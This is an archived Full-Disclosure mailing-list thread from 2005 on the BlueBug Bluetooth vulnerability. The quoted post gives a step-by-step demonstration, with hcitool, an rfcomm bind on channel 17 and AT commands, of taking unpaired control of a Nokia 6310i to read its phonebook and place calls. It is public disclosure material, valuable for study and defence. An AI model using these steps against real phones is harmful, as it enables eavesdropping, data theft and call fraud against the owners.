full-disclosure - Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

From: synackurg at gmail.com (Dave Bryan)
Subject: Re: Bluetooth: BlueSnarf and BlueBug Full
	Disclusore

The reason that it is called BlueBug is because you are literally
bugging (Voice Calls)  an unsuspecting victims pocket.  Yes this is a
back door of sorts...


On Tue, 04 Jan 2005 14:46:19 +0100, Przemyslaw Frasunek
<venglin@...ebsd.lublin.pl> wrote:
> Adam Laurie napisa?(a):
>  > Details of the attacks were disclosed at the Chaos Computer Club's annual
>  > congress in Berlin - 21C3:
> 
> According to the [1], not all details were disclosed. Actually, there is no
> reason for keeping them secret here, while they are well known and actively
> exploited in the blackhat community.
> 
> The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
> Nokia phones. It allows attacker to create serial profile connection without
> pairing or asking for permission, therefore it gives unauthorized access to all
> AT commands. It is possible to read/delete/send SMS messages, add/view/delete
> phonebook entries, change call diverts, initiate voice or data call.
> 
> Demonstration on Nokia 6310i:
> 
> laptop:~# hcitool scan
> Scanning ...
>          00:60:57:38:8C:D8       Nokia 6310i
> laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17
> 
> Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
> example:
> 
> laptop:~# cu -l rfcomm0 -s 9600
> Connected.
> [ATE1]
> OK
> ATI
> Nokia
> 
> OK
> AT+CPBS?
> +CPBS: "SM",0,100
> 
> OK
> AT+CPBR=?
> +CPBR: (1-100),48,18
> 
> OK
> ATDT+48609xxxxxx
> OK
> 
> As you can see, the bug is really trivial and looks rather like backdoor.
> 
> [1] - http://www.thebunker.net/security/bluetooth.htm
> [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
> [3] - http://www.gnokii.org/
> 
> --
> * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
> * JID: venglin@...ber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>